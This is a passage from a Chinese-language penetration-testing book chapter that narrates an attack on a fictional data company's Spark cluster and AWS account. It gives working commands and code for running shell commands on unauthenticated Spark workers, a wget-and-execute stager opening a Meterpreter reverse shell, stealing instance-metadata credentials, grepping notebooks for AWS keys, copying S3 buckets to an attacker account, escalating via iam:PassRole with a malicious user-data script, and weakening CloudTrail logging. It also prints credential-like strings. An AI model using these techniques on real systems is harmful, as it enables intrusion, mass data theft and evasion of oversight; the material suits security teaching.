DASHBOARD_PROD_PASSWORD = 4hXqulCghprbIU24745
SPARK_MASTER = 10.50.12.67
ActualCommitAuthorEmail = Elain.ghaber@gretschpolitico.com
BINTRAY_API_KEY = 557d459a1e9ac79a1da57$fbee88acdeacsq7S
GITHUB_API = 8e24ffcc0eeddee673ffa0ce5433ffcee7ace561
ECR_AWS_ID = AKIA76ZRK7X1QSRZ4H2P
ECR_AWS_ID = ZO5c0TQQ/5zNoEkRE99pdlnY6anhgz2s30GJ+zgb
`--snip--`

清单 12-3:收集在 Jenkins 机器上运行的任务环境变量的结果

太棒了。我们获得了一个 GitHub API 令牌,得以探索 GP 的整个代码库,获取了一些数据库密码来收集数据,当然还有 AWS 访问密钥,至少应该能够访问 ECR(AWS 容器注册表),如果幸运的话,甚至是 EC2。

我们把它们加载到我们的服务器上,然后盲目地开始探索 AWS 服务:

root@Point1:~/#  **aws ecr describe-repositories \**
**--region=eu-west-1 \**
**--profile gretsch1**

"repositoryName": "lib-prediction",
"repositoryName": "service-geoloc",
"repositoryName": "cookie-matching",
`--snip--`

root@Point1:~/#  **aws ec2 describe-instances --profile gretsch1**
An error occurred (UnauthorizedOperation)...

root@Point1:~/#  **aws s3api list-buckets --profile gretsch1**
An error occurred (UnauthorizedOperation)...

root@Point1:~/#  **aws iam get-user --profile gretsch1**
An error occurred (AccessDenied)...

一旦我们离开 ECR,就会遇到多个错误。在另一个时间、另一个情境下,我们会捣鼓容器镜像,寻找硬编码的凭证,或篡改生产标签以在机器上执行代码——但有一条线索似乎更有希望。它埋藏在我们在列表 12-3 中转储的环境数据里,让我再聚焦一下它:

SPARK_MASTER = 10.50.12.67

这里的SPARK表示 Apache Spark,这是一个开源分析引擎。单纯地让 ECR 访问密钥和数据库凭证绕过,然后专注于这个孤立的 IP 地址可能令人惊讶,但请记住我们最初的目标之一:获取用户档案和数据段。这种类型的数据不会存储在一般的 100GB 数据库中。当这些数据完全丰富,并包含关于每个人的所有可用信息时,再加上 MXR Ads 平台的规模,这些数据档案很容易达到数百甚至数千 TB。

公司在处理如此庞大的数据量时,通常会遇到两个问题。它们将原始数据存储在哪里?如何高效地处理这些数据?

存储原始数据很容易。S3 便宜且可靠,所以这没什么可争议的。然而,处理海量数据却是一个真正的挑战。数据科学家们希望以合理的成本建模并预测行为,需要一个分布式系统来处理负载——比如 500 台机器并行工作,每台机器训练多个模型,随机调整超参数,直到找到误差率最低的公式。

但这也带来了额外的问题。如何在节点之间有效地划分数据?如果所有机器都需要相同的数据该怎么办?如何聚合所有结果?最重要的是:他们如何应对故障?因为故障肯定会发生。对于每 1000 台机器,平均有 5 台,甚至更多,可能因任何原因发生故障,包括磁盘问题、过热、电力中断以及其他危险事件,即便是在顶级数据中心中也是如此。他们如何在健康节点上重新分配失败的工作负载?

正是这些问题,Apache Spark 旨在通过其分布式计算框架来解决。如果 Spark 参与了 Gretsch Politico,那么它很可能被用来处理大量数据,这些数据很可能就是我们所追求的用户档案——因此我们对在 Jenkins 机器上获取到的 IP 地址产生了兴趣。

进入 Spark 集群将自动使我们能够访问原始的性能数据,了解数据经过何种处理,并理解 Gretsch Politico 是如何利用这些数据的。

然而,到目前为止,没有一篇黑客帖子能帮助我们攻破 Spark 集群(几乎所有大数据工具也都是如此:Yarn、Flink、Hadoop、Hive 等等)。甚至没有一个 Nmap 脚本能指纹化这个该死的东西。我们正在航行在未知的水域,所以最自然的步骤是首先了解如何与 Spark 集群进行交互。

理解 Spark

一个 Spark 集群本质上由三个主要组件组成:主服务器、工作节点和驱动器。驱动器是执行计算的客户端;比如说,分析师的笔记本电脑就是驱动器。主节点的唯一任务是管理工作节点,并根据内存和 CPU 的需求分配任务。工作节点执行主节点分配的所有任务,并与主节点和驱动器进行通信。

这三个组件中的每一个都在 Java 虚拟机(JVM)中运行一个 Spark 进程,即使是分析师的笔记本电脑(驱动器)。不过,有个关键点:Spark 默认禁用安全性

我们不仅仅在谈论认证问题,这已经很糟糕了。不,安全性整体被禁用了,包括加密、访问控制,当然还有认证。2021 年了,各位,整理好你们的东西吧。

根据官方文档,为了与 Spark 集群进行通信,需要满足一些网络要求。首先,我们需要能够通过 7077 端口访问主节点,以便调度任务。工作节点还需要能够发起与驱动器(我们的 Jenkins 节点)之间的连接,请求执行 JAR 文件、报告结果并处理其他调度步骤。

根据 Listing 12-3 中 SPARK_MASTER 环境变量的存在,我们有 90% 的把握认为 Jenkins 运行了一些 Spark 任务,因此我们可以相当确信所有这些网络条件都已正确配置。但为了确保安全起见,首先确认我们至少能够访问 Spark 主节点。测试第二个网络要求(即工作节点能否连接到驱动器)的唯一方法是提交任务或检查安全组。

我们在 Metasploit 上添加一条路由,指向 10.0.0.0/8 范围,以便到达 Spark 主节点 IP(10.50.12.67),并通过当前的 meterpreter 会话进行通道传输:

meterpreter > **background**

msf exploit(multi/handler) > **route add 10.0.0.0 255.0.0.0 12**
[*]  Route added

接着我们使用内置的 Metasploit 扫描器来探测 7077 端口:

msf exploit(multi/handler) > **use auxiliary/scanner/portscan/tcp**
msf exploit(scanner/portscan/tcp) > **set RHOSTS 10.50.12.67**
msf exploit(scanner/portscan/tcp) > **set PORTS 7077**
msf exploit(scanner/portscan/tcp) > **run**

[+] 192.168.1.24:         - 192.168.1.24:7077 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)

没有惊讶的事情。我们能够与主节点通信。好吧,让我们写第一个恶意 Spark 应用吧!

恶意 Spark

尽管 Spark 是用 Scala 编写的,但它对 Python 程序的支持非常好。将 Python 对象转换为 Java 对象需要支付高昂的序列化成本,但我们又何妨呢?我们只需要一个运行在某个工作节点上的外壳。

Python 甚至有一个 pip 包,它可以下载 200MB 的 JAR 文件来快速设置一个可用的 Spark 环境:

$ **python -m pip install pyspark**

每个 Spark 应用程序都以相同的模板代码开始,该代码定义了 SparkContext,这是一个客户端连接器,负责与 Spark 集群进行通信。我们通过这段设置代码开始我们的应用程序(参见 Listing 12-4)。

from pyspark import SparkContext, SparkConf

# Set up configuration options
conf = SparkConf()
conf = conf.setAppName("Word Count")

# Add the IP of the Spark master
conf = conf.setMaster("spark://10.50.12.67:7077")

# Add the IP of the Jenkins worker we are currently on
conf = conf.set("spark.driver.host", "10.33.57.66")

# Initialize the Spark context with the necessary info to reach the master
1 sc = SparkContext(conf = conf)

Listing 12-4:恶意 Spark 应用程序设置代码

这个 Spark 上下文 1 实现了创建和操作分布式数据的方法。它允许我们将一个普通的 Python 列表从一个整体对象转换为可以分布在多台机器上的一组单元。这些单元称为 分区。每个分区可以包含原始列表的一个、两个或三个元素——无论 Spark 认为最优的是什么。这里我们定义了一个包含 10 个元素的分区集合:

partList = sc.parallelize(range(0, 10))

partList.getNumPartitions 在我的计算机上返回 2,表示它已经将原始列表拆分成了两个分区。分区 1 可能包含 0、1、2、3 和 4,分区 2 可能包含 5、6、7、8 和 9。

partList 现在是一个分区集合。它是一个 弹性分布式数据集RDD),支持许多迭代方法,称为 Spark 的 转换,例如 mapflatMapreduceByKey 等,这些方法以分布式的方式转换数据。代码执行看起来与 MapReduce 操作相差甚远,但请耐心等一下:这一切都会很好地衔接起来。

在继续进行我们的 Spark 应用程序之前,我将举一个使用 map API 的例子,来遍历每个分区的元素,将它们传递给 addTen 函数,并将结果存储在一个新的 RDD 中(参见 Listing 12-5)。

def addTen(x):
    return x+10
plusTenList = partList.map(addOne)

Listing 12-5:在 Spark 上使用 map API

现在,plusTenList 包含(10,11,...)。这与常规的 Python map 或经典循环有何不同?举个例子,如果我们有两个工作节点和两个分区,Spark 会将元素 0 到 4 发送到机器 #1,将元素 5 到 9 发送到机器 #2。每台机器将迭代该列表,应用函数 addTen,并将部分结果返回给驱动程序(我们的 Jenkins 机器),然后驱动程序将其合并为最终输出。如果机器 #2 在计算过程中失败,Spark 会自动重新调度相同的工作负载到机器 #1。

到这时,我敢肯定你在想:“太好了,Spark 很强大,但为什么要讲这么多关于 maps 和 RDDs 的内容?我们不能直接提交 Python 代码并执行它吗?”

我希望事情能这么简单。

看,假如我们只是附加一个经典的 subprocess.Popen 调用并执行脚本,我们就会——嗯,你可以在 Listing 12-6 中看到结果。

from pyspark import SparkContext, SparkConf
from subprocess import Popen

conf = SparkConf()
conf = conf.setMaster("spark://10.50.12.67:7077")
conf = conf.set("spark.driver.host", "10.33.57.66")

sc = SparkContext(conf = conf)
partList = sc.parallelize(range(0, 10))
print(Popen(["hostname"], stdout=subprocess.PIPE).stdout.read())

$ **python test_app.py**
891451c36e6b

$ **hostname**
891451c36e6b

Listing 12-6:Python 代码在本地执行,而不是将其发送到 Spark 集群。

当我们运行测试应用程序时,我们得到了我们自己容器的 ID。Python 代码中的 hostname 命令是在我们的系统上执行的,甚至没有到达 Spark 主节点。发生了什么?

Spark 驱动程序,即在执行代码时由 PySpark 初始化的进程,技术上并不将 Python 代码发送到主节点。首先,驱动程序构建一个有向无环图DAG),这是对在 RDD 上执行的所有操作的总结,比如加载、mapflatMap、存储为文件等(见图 12-1)。

f12001

图 12-1:由两个步骤组成的简单 DAG 示例:parallelize 和 map

驱动程序通过发送一些关键属性来将工作负载注册到主节点:工作负载的名称、请求的内存、初始执行器的数量等等。主节点确认注册并将 Spark 工作节点分配给传入的任务。它将这些工作节点的详细信息(IP 和端口号)共享给驱动程序,但没有进一步的动作。直到这一点为止,实际上并没有执行任何计算。数据仍然保留在驱动程序一侧。

驱动程序继续解析脚本并根据需要将步骤添加到 DAG 中,直到它遇到它认为是动作的部分,这是一个强制收缩 DAG 的 Spark API。这个动作可能是显示输出、保存文件、计数元素等调用(你可以在bit.ly/3aW64Dh找到 Spark 动作的列表)。只有到这一点,DAG 才会被发送到 Spark 工作节点。这些工作节点跟随 DAG 执行其中的转换和动作。

好的。我们升级了代码,添加了一个动作(在这种情况下,是 collect 方法),它会触发应用程序提交到工作节点(见清单 12-7)。

from pyspark import SparkContext, SparkConf
--`snip`--
partList = sc.parallelize(range(0, 10))
Popen(["hostname"], stdout=subprocess.PIPE).stdout.read()

for a in finalList.collect():
    print(a)

清单 12-7:向恶意的 Spark 应用程序添加动作

但是我们仍然缺少一个关键部分。工作节点只会遵循 DAG,而 DAG 只涉及 RDD 资源。我们需要调用 Python 的 Popen 来在工作节点上执行命令,但 Popen 既不是像 map 这样的 Spark 转换,也不是像 collect 这样的动作,因此它将被省略在 DAG 之外。我们需要作弊,并将我们的命令执行包含在 Spark 转换(例如 map)中,如清单 12-8 所示。

from pyspark import SparkContext, SparkConf
from subprocess import Popen

conf = SparkConf()
conf = conf.setAppName("Word Count")
conf = conf.setMaster("spark://10.50.12.67:7077")
conf = conf.set("spark.driver.host", "10.33.57.66")

sc = SparkContext(conf = conf)
partList = sc.parallelize(range(0, 1))
finalList = partList.map(
1     lambda x: Popen(["hostname"], stdout=subprocess.PIPE).stdout.read()
)
for a in finalList.collect():
    print(a)

清单 12-8:在 Spark 集群上执行代码的完整应用框架

与其定义一个新的命名函数并通过 map 迭代调用(就像我们在清单 12-5 中做的那样),我们实例化一个带有前缀 lambda 的匿名函数,它接受一个输入参数(每个被迭代的元素)1。当工作节点循环遍历我们的 RDD 以应用 map 转换时,它会遇到我们的 lambda 函数,该函数指示它运行 hostname 命令。我们来试试:

$ **python test_app.py**
19/12/20 18:48:46 WARN NativeCodeLoader: Unable to load native-hadoop library for your
platform... using builtin-java classes where applicable

Using Spark's default log4j profile: org/apache/spark/log4j-defaults.properties

Setting default log level to "WARN".
To adjust logging level use sc.setLogLevel(newLevel). For SparkR, use setLogLevel(newLevel).

ip-172-31-29-239

就这样!我们与主节点建立了联系。一个干净利落的命令执行,正如承诺的那样,在整个过程中,Spark 没有一次要求我们提供凭证。

如果我们重新启动程序,我们的任务可能会被调度到另一台工作节点。这是预期的,事实上,它正是分布式计算的核心。所有节点是相同的,具有相同的配置(IAM 角色、网络过滤器等),但它们的生命周期不一定完全相同。一台工作节点可能会接收到一个任务,该任务将数据库凭证写入磁盘,而另一台则会对错误消息进行排序。

我们可以通过构建具有n分区的 RDD,强制 Spark 将我们的工作负载分配到n台机器上:

partList = sc.parallelize(range(0, 10), 10)

然而,我们无法选择哪些节点将接收负载。是时候在一些工作节点上设置永久驻留了。

Spark 接管

为了保持我们的恶意应用继续运行,我们希望谨慎地指示 Linux 在自己的进程组中生成它,以便忽略 JVM 在任务完成时发送的中断信号。我们还希望驱动程序等待几秒钟,直到我们的应用完成与攻击基础设施的稳定连接。我们需要在应用程序中添加以下几行:

`--snip--`
finalList = partList.map(
    lambda x: subprocess.Popen(
        "wget https://gretsch-spark-eu.s3.amazonaws.com/stager &&  chmod +x         ./stager && ./stager &",
        shell=True,
        preexec_fn=os.setpgrp,
    )
)
finalList.collect()
time.sleep(10)

$ **python reverse_app.py**
`--snip--`

在我们的攻击基础设施上,我们打开 Metasploit 并等待应用程序回拨到主机:

[*] https://0.0.0.0:443 handling request from...
[*] https://0.0.0.0:443 handling request from...
msf exploit(multi/handler) > **sessions -i 7**
[*] Starting interaction with 7...

meterpreter > **execute -i -f id**
Process 4638 created.
Channel 1 created.

1 uid=1000(spark) gid=1000(spark)
groups=1000(spark),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
110(lxd),115(lpadmin),116(sambashare)...

太棒了!我们成功地进入了其中一台工作节点。我们以一个普通的 Spark 用户 1 身份运行,这个用户足够信任,因此被包括在了sudo组中。屏幕这一边没有任何抱怨。让我们通过转储环境变量、挂载的文件夹、IAM 角色,或者任何其他可能有用的内容来探索这个新的环境:

meterpreter > **execute -i -H -f curl -a \**
**http://169.254.169.254/latest/meta-data/iam/security-credentials**

spark-standalone.ec2

meterpreter > **execute -i -H -f curl -a \**
**http://169.254.169.254/latest/meta-data/iam/security-credentials/spark-\**
**standalone.ec2**
"AccessKeyId" : "ASIA44ZRK6WSS6D36V45",
"SecretAccessKey" : "x2XNGm+p0lF8H/U1cKqNpQG0xtLEQTHf1M9KqtxZ",
"Token" : "IQoJb3JpZ2luX2VjEJL//////////wEaCWV1LXdlc3QtM...

我们了解到,Spark 工作节点可以模拟 spark-standalone.ec2 角色。像大多数 IAM 角色一样,很难知道它的完整权限,但我们可以通过使用mount命令获得一些线索:

meterpreter > **execute -i -H -f mount**
`--snip--`
s3fs on /home/spark/notebooks type fuse.s3fs (rw, nosuid, nodev...)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
`--snip--`

GP 似乎使用 s3fs 在/home/spark/notebooks本地挂载了一个 S3 桶。我们通过查看进程列表(使用ps命令并加上-edf参数)挖掘出了桶的名称:

meterpreter > **execute -i -H -f ps -a "-edf"**
`--snip--`
spark  14067 1  1 2018  00:51:15  s3fs gretsch-notebooks /home/spark/notebooks -o iam_role
`--snip--`

成功了。映射到notebooks文件夹的桶名为 gretsch-notebooks。让我们加载角色凭证并探索这个桶:

root@Point1:~/#  **aws s3api list-objects-v2 \**
**--bucket-name gretsch-notebooks \**
**--profile spark**

"Key": "jessie/Untitled.ipynb",
"Key": "leslie/Conversion_Model/logistic_reg_point.ipynb",
"Key": "marc/Experiment – Good logistics loss cache.ipynb",
`--snip--`

确实很有趣。这个桶包含扩展名为.ipynb的文件,这是 Python Jupyter 笔记本的标志。Jupyter 笔记本就像是一个基于 Web 的 Python 命令行界面(CLI),旨在帮助数据科学家轻松设置工作环境,具备绘制图表和共享工作的能力。这些笔记本还可以轻松与 Spark 集群连接,实现在多个机器上执行工作负载。

数据科学家需要数据来进行计算。大多数人会争辩说,他们需要生产数据来做出准确的预测。这些数据通常存储在像数据库和 S3 桶这样的地方。因此,这些曾经贫瘠的 Jupyter 笔记本迅速演变成了一个充满硬编码凭证的温暖池塘,因为科学家们需要越来越多的数据集。

让我们同步整个桶并开始寻找一些 AWS 凭证。所有的 AWS 访问密钥 ID 都以神奇的词AKIA开头,所以我们用grep来查找这个词:

root@Point1:~/#  **aws s3 sync s3://gretsch-notebooks ./notebooks**

root@Point1:~notebooks/# grep -R "AKIA" -4 *
yuka/Conversion_model/...  awsKeyOpt =
Some(\"AKIAASJACEDYAZYWJJM6D5\"),\n",
yuka/Conversion_model/...  awsSecretOpt =
Some(\"3ceq43SGCmTYKkiZkGrF7dr0Lssxdakymtoi14OSQ\")\n",
`--snip--`

哇,真是了不起!我们收集到了几十个个人 AWS 凭证,可能属于 Gretsch Politico 整个数据部门。

让我们也搜索一下在 Spark 中常用的 S3 驱动程序 s3as3n的出现情况,揭开一些常用的 S3 存储桶,定期用于加载数据和进行实验:

root@Point1:~notebooks/# egrep -R "s3[a|n]://" *
1 s3a://gretsch-finance/portfolio/exports/2019/03/ report1579446047119.csv
s3a://gretsch-hadoop/engine/aft-perf/...
s3a://gretsch-hadoop-us1/nj/media/engine/clickthrough/...
s3a://gretsch-hadoop-eu1/de/social/profiles/mapping/...
`--snip--`

看看第一个存储桶的名称:gretsch-finance 1。这应该会很有趣。我们将使用从同一本笔记本中提取的 AWS 密钥之一,卸载位于portfolio/exports/2020下的密钥:

root@Point1:~/# aws s3 sync \
**s3://gretsch-finance/portfolio/exports/2020/ ./exports_20/ --profile data1**

root@Point1:~/# ls exports_20/
./01/report1548892800915.csv
./02/report1551319200454.csv
./03/report1551578400344.csv
./04/report1553997600119.csv
`--snip--`

让我们取一个随机文件来查看:

root@Point1:~/# head ./03/report1551578400344.csv
annual revenue, last contact, initial contact, country, account,
zip code, service purchased, ...
0.15, 20191204, 20180801, FRW nation, BR, 13010, 5...
.11, 20200103, 20170103, RPU, US, 1101, 0...

没错,这是一份客户列表!我们不仅获得了现有客户的信息,还有潜在客户的详细资料,包括他们最后一次接触的时间、地点、接触人、购买的最后一项服务以及他们在平台上花费了多少。

使用这些数据,Gretsch Politico 可以深入了解客户的消费习惯,也许还能揭示各种属性之间的潜在关系,例如一个会面地点和收入——谁知道呢,可能性是无穷的。如果你联系一家数据挖掘公司,你应该也做好成为实验一部分的准备。这是公平的。

那几乎是一个目标已经完成。我们可能能找到更详细的信息,但目前我们已经有了一份潜在和经过验证的客户列表。我们可以通过 Google 搜索每一行背后的政党,并为我们虚幻的民主流泪。

寻找原始数据

gretsch-finance 存储桶证明是一个成功的目标。让我们检查其余的存储桶:

root@Point1:~notebooks/# egrep -R "s3[a|n]://" *
s3a://gretsch-hadoop/engine/aft-perf/...
s3a://gretsch-hadoop-us1/nj/dmp/thirdparty/segments/...
s3a://gretsch-hadoop-eu1/de/social/profiles/mapping/...
`--snip--`

配置文件、社交、细分等。文件名很有吸引力。这很可能就是我们要找的用户数据。注意,gretsch-hadoop-us1 存储桶的名称暗示了区域化分区。到底有多少个区域,也就有多少个 Hadoop 存储桶?

root@Point1:~/# aws s3api list-buckets \
**--profile data1 \**
**--query "Buckets[].Name"\| grep Hadoop**

gretsch-hadoop-usw1
gretsch-hadoop-euw1
gretsch-hadoop-apse1

我们为每个三个 AWS 区域(北加州、爱尔兰和新加坡)找到了一个 Hadoop 存储桶。我们从 gretsch-hadoop-usw1 下载了 1,000 个文件,以查看它包含哪些类型的文件:

root@Point1:~/# aws s3api list-objects-v2 \
**--profile data1 \**
**--bucket=gretsch-hadoop-usw1 \**
**--max-items 1000**

"Key": "engine/advertiser-session/2019/06/19/15/08/user_sessions_stats.parquet",
"Key": "engine/advertiser-session/2019/06/19/15/09/user_sessions_stats.parquet",
`--snip--`

我们看到一些扩展名为.parquet的文件。Parquet是一种以高压缩比著称的文件格式,其压缩效果通过以列式存储数据来实现。它利用了一个准确的观察:在大多数数据库中,一列往往存储相同类型的数据(例如,整数),而一行则更可能存储不同类型的数据。与大多数数据库引擎按行分组数据不同,Parquet 按列分组数据,从而实现了超过 95%的压缩比。

我们安装了必要的工具来解压和操作.parquet文件,然后打开几个随机文件:

root@Point1:~/# python -m pip install parquet-cli
root@Point1:~/# parq 02/user_sessions_stats.parquet -head 100
userid = c9e2b1905962fa0b344301540e615b628b4b2c9f
interest_segment = 4878647678
ts = 1557900000
time_spent = 3
last_ad  = 53f407233a5f0fe92bd462af6aa649fa
last_provider = 34
ip.geo.x = 52.31.46.2
`--snip--`

root@Point1:~/# parq 03/perf_stats.parquet -head 100
click = 2
referrer = 9735842
deviceUID = 03108db-65f2-4d7c-b884-bb908d111400
`--snip--`

root@Point1:~/# parq 03/social_stats.parquet -head 100
social_segment = 61895815510
fb_profile = 3232698
insta_profile = 987615915
pinterest_profile = 57928
`--snip--`

我们检索了用户 ID、社交资料、兴趣细分、广告时间、地理位置和其他跟踪用户行为的令人震惊的信息。现在我们有了一些成果。数据是不稳定的,存储在专用格式中,几乎无法解读,但我们最终会搞清楚的。

我们可以在自己的机器上配置几个 TB 的存储空间,接着完全窃取这三个桶。相反,我们只是指示 AWS 将桶复制到我们自己的账户中,但首先需要稍作调整以加快速度:

root@Point1:~/# aws configure set default.s3.max_concurrent_requests 1000
root@Point1:~/# aws configure set default.s3.max_queue_size 100000
root@Point1:~/# aws s3 sync s3://gretsch-hadoop/ s3://my-gretsch-hadoop

我们拥有来自三个 Hadoop 桶的所有数据。不过,不要太激动;这些数据几乎不可能在没有大量探索、业务知识和当然的计算能力下处理。老实说,我们完全超出了自己的能力范围。

Gretsch Politico 每天都由其数据专家小队进行这种处理。我们难道不能利用他们的工作,直接窃取最终结果,而不是从头开始重新发明轮子吗?

偷窃处理过的数据

在 Spark 上进行数据处理和数据转化通常只是数据生命周期的第一步。一旦数据与其他输入丰富、交叉引用、格式化并扩展后,它会被存储在第二介质上。在那里,分析师(通常通过某些类似 SQL 的引擎)可以进行探索,最终数据会被输入到训练算法和预测模型中(这些算法和模型可能运行在 Spark 上,也可能不运行)。

问题是,GP 将其丰富和处理过的数据存储在哪里?最快的方式是搜索 Jupyter 笔记本,查找有关分析工具的提示、SQL 类查询、图表和仪表盘等内容(参见列表 12-9)。

root@Point1:~notebooks/# egrep -R -5 "sql|warehouse|snowflake|redshift|bigquery" *

redshift_endpoint = "sandbox.cdc3ssq81c3x.eu-west-1.redshift.amazonaws.com"

engine_string = "postgresql+psycopg2://%s:%s@%s:5439/datalake"\
% ("analytics-ro", "test", redshift_endpoint)

engine = create_engine(engine_string)

sql = """
select insertion_id, ctr, cpm, ads_ratio, segmentID,...;
"""
`--snip--`

列表 12-9:Jupyter 笔记本中使用的 SQL 查询

也许我们发现了一些值得调查的东西。Redshift 是一个经过强化的 PostgreSQL 管理数据库,以至于它已经不再适合称其为数据库。它通常被称为 数据湖。对于查询一个 1,000 行的小表几乎没什么用,但给它几 TB 的数据来摄取,它就能以闪电般的速度响应!它的容量可以随 AWS 的空闲服务器扩展(当然,客户也得有钱花)。

Redshift 以其显著的速度、可扩展性、并行上传能力以及与 AWS 生态系统的集成,成为该领域最有效的分析数据库之一——它可能是我们救赎的关键!

不幸的是,我们获取的凭证属于一个包含无关数据的沙箱数据库。而且,我们的 AWS 访问密钥都不能直接查询 Redshift API:

root@Point1:~/# aws redshift describe-clusters \
**--profile=data1 \**
**--region eu-west-1**

An error occurred (AccessDenied) when calling the DescribeClusters...

看来是时候进行一些权限提升了。

权限提升

通过检查我们获得的十二个 IAM 访问密钥,我们意识到它们都属于同一个 IAM 组,因此共享相同的基本权限——也就是,读取/写入一些桶,并附带一些轻量的只读 IAM 权限:

root@Point1:~/# aws iam list-groups --profile=leslie
"GroupName": "spark-s3",

root@Point1:~/# aws iam list-groups --profile=marc
"GroupName": "spark-s3",

root@Point1:~/# aws iam list-groups --profile=camellia
"GroupName": "spark-debug",
"GroupName": "spark-s3",

`--snip--`

等一下。Camellia 属于一个名为 spark-debug 的附加组。让我们仔细看看这个组所附加的策略:

root@Point1:~/# aws iam list-attach-group-policies --group-name spark-debug --profile=camellia

"PolicyName": "AmazonEC2FullAccess",
"PolicyName": "iam-pass-role-spark",

太好了。Camellia 在这里可能是负责维护和运行 Spark 集群的人,因此她被授予了这两个策略。EC2 完全访问权限为她打开了 450 多种 EC2 操作的可能性,从启动实例到创建新的 VPC、子网,几乎涵盖了与计算服务相关的所有操作。

第二个策略是定制的,但我们可以轻松猜测它意味着什么:它允许我们将角色分配给 EC2 实例。我们查询最新版本的策略文档来确认我们的猜测:

# get policy version
root@Point1:~/# aws iam get-policy \
**--policy-arn arn:aws:iam::983457354409:policy/iam-pass-role \**
**--profile camellia**

"DefaultVersionId": "v1",

# get policy content
root@Point1:~/# aws iam get-policy-version \
**--policy-arn arn:aws:iam::983457354409:policy/iam-pass-role \**
**--version v1 \**
**--profile camellia**

"Action":"iam:PassRole",
1 "Resource": "*"
`--snip--`

GP 可能没有完全意识到,但通过 IAM 的PassRole操作,他们已经隐性地赋予亲爱的 Camellia——以及通过她,我们——对他们的 AWS 账户完全的控制权。PassRole是一个强大的权限,允许我们将角色分配给实例。任何角色 1,甚至是管理员角色。凭借EC2 完全访问,Camellia 还可以管理 EC2 实例,启动机器,给它加上管理员角色,然后接管 AWS 账户。

让我们探讨一下作为 Camellia 的我们可以传递给 EC2 实例的角色选项。唯一的限制是该角色需要在其信任策略中包含ec2.amazonaws.com

root@Point1:~/# aws iam list-roles --profile camellia \
**| jq -r '.Roles[] | .RoleName + ", " + \**
**.AssumeRolePolicyDocument.Statement[].Principal.Service' \**
**| grep "ec2.amazonaws.com"**
`--snip--`
jenkins-cicd, ec2.amazonaws.com
jenkins-jobs, ec2.amazonaws.com
rundeck, ec2.amazonaws.com
spark-master, ec2.amazonaws.com

在这些角色中,我们看到了 rundeck,这可能就是我们期待的救世主。Rundeck 是一个自动化工具,用于在基础设施上运行管理员脚本。GP 的基础设施团队似乎并不热衷于使用 Jenkins,因此他们可能将大部分工作负载调度到了 Rundeck 上。让我们使用 Camellia 来查看 rundeck 拥有哪些权限:

root@Point1:~/# aws iam get-attached-role-policies \
**--role-name rundeck \**
**--profile camellia**

"PolicyName": "rundeck-mono-policy",

# get policy version
root@Point1:~/# aws iam get-policy --profile camellia \
**--policy-arn arn:aws:iam::983457354409:policy/rundeck-mono-policy**

"DefaultVersionId": "v13",

# get policy content
root@Point1:~/# aws iam get-policy-version \
**--version v13 \**
**--profile camellia \**
**--policy-arn arn:aws:iam::983457354409:policy/rundeck-mono-policy**

"Action":["ec2:*", "ecr:*", "iam:*", "rds:*", "redshift:*",...]
"Resource": "*"
`--snip--`

是的,这就是我们需要的角色。rundeck 角色几乎拥有对 AWS 的完全管理员权限。

因此,计划是在与 Spark 集群相同的子网中启动一个实例。我们小心地复制相同的属性,以便在明面上隐藏:安全组、标签,所有内容。我们正在查找这些属性,以便稍后模仿它们:

root@Point1:~/# aws ec2 describe-instances --profile camellia \
**--filters 'Name=tag:Name,Values=*spark*'**

`--snip--`
"Tags":
  Key: Name  Value: spark-master-streaming
"ImageId": "ami-02df9ea15c1778c9c",
"InstanceType": "m5.xlarge",
"SubnetId": "subnet-00580e48",
"SecurityGroups":
  GroupName: spark-master-all, GroupId: sg-06a91d40a5d42fe04
  GroupName: spark-worker-all, GroupId: sg-00de21bc7c864cd25
`--snip--`

我们确切知道 Spark 工作节点可以通过 443 端口访问互联网,因此我们懒得重新验证刚刚确认的安全组,直接复制并粘贴这些安全组,并使用 rundeck 配置文件启动一个新实例:

root@Point1:~/# aws ec2 run-instances \
**--image-id ami-02df9ea15c1778c9c \**
**--count 1 \**
**--instance-type m3.medium \**
**--iam-instance-profile rundeck \**
**--subnet-id subnet-00580e48 \**
**--security-group-ids sg-06a91d40a5d42fe04 \**
**--tag-specifications 'ResourceType=instance,Tags=**
 **[{Key=Name,Value=spark-worker-5739ecea19a4}]' \**
**--user-data file://my_user_data.sh \**
**--profile camellia \**
**--region eu-west-1**

作为用户数据传递的脚本(my_user_data.sh)将启动我们的反向 Shell:

#!/bin/bash
wget https://gretsch-spark-eu.s3.amazonaws.com/stager
chmod +x ./stager
./stager&

我们运行前面的 AWS 命令,果然,过了一两分钟后,我们得到了我们希望的最后一个 Shell,以及管理员权限:

[*] https://0.0.0.0:443 handling request from...
[*] https://0.0.0.0:443 handling request from...
msf exploit(multi/handler) > **sessions -i 9**
[*] Starting interaction with 9...
meterpreter > **execute -i -H -f curl -a \**
**http://169.254.169.254/latest/meta-data/iam/security-credentials/rundeck**

"AccessKeyId" : "ASIA44ZRK6WS36YMZOCQ",
"SecretAccessKey" : "rX8OA+2zCNaXqHrl2awNOCyJpIwu2FQroHFyfnGn ",
"Token" : "IQoJb3JpZ2luX2VjEJr//////////wEaCWV1LXdlc3QtMSJ...

太棒了!我们得到了属于 rundeck 角色的一堆顶级安全密钥和令牌。现在我们有了这些密钥,让我们查询可能暴露的经典服务,看看哪些是活跃的(CloudTrail、GuardDuty 和 Access Analyzer):

root@Point1:~/# export AWS_PROFILE=rundeck
root@Point1:~/# export AWS_REGION=eu-west-1
root@Point1:~/# aws cloudtrail describe-trails

   "Name": "aggregated",
   "S3BucketName": "gretsch-aggreg-logs",
   "IncludeGlobalServiceEvents": true,
   "IsMultiRegionTrail": true,
   "HomeRegion": "eu-west-1",
 1"HasInsightSelectors": false,

root@Point1:~/# aws guardduty list-detectors
"DetectorIds": []

root@Point1:~/# aws accessanalyzer list-analyzers
"analyzers": []

好的,CloudTrail 按预期启用,因此日志可能成为一个问题。没有太大意外。尽管如此,Insights 被禁用了 1,所以如果需要的话,我们可以进行一些批量写入的 API 调用。GuardDuty 和 Access Analyzer 返回空列表,因此它们在这个组合中也缺席。

让我们暂时盲目地隐藏日志轨迹,并向 Camellia 的用户账户中插入一个访问密钥,以增强我们的持久性。如果我们想重新获得对 GP 账户的访问,她的权限完全足够:

root@Point1:~/# aws cloudtrail update-trail \
**--name aggregated \**
**--no-include-global-service-events \**
**--no-is-multi-region**

root@Point1:~/# aws iam list-access-keys --user-name camellia

"AccessKeyId": "AKIA44ZRK6WSXNQGVUX7",
"Status": "Active",
"CreateDate": "2019-12-13T18:26:17Z"

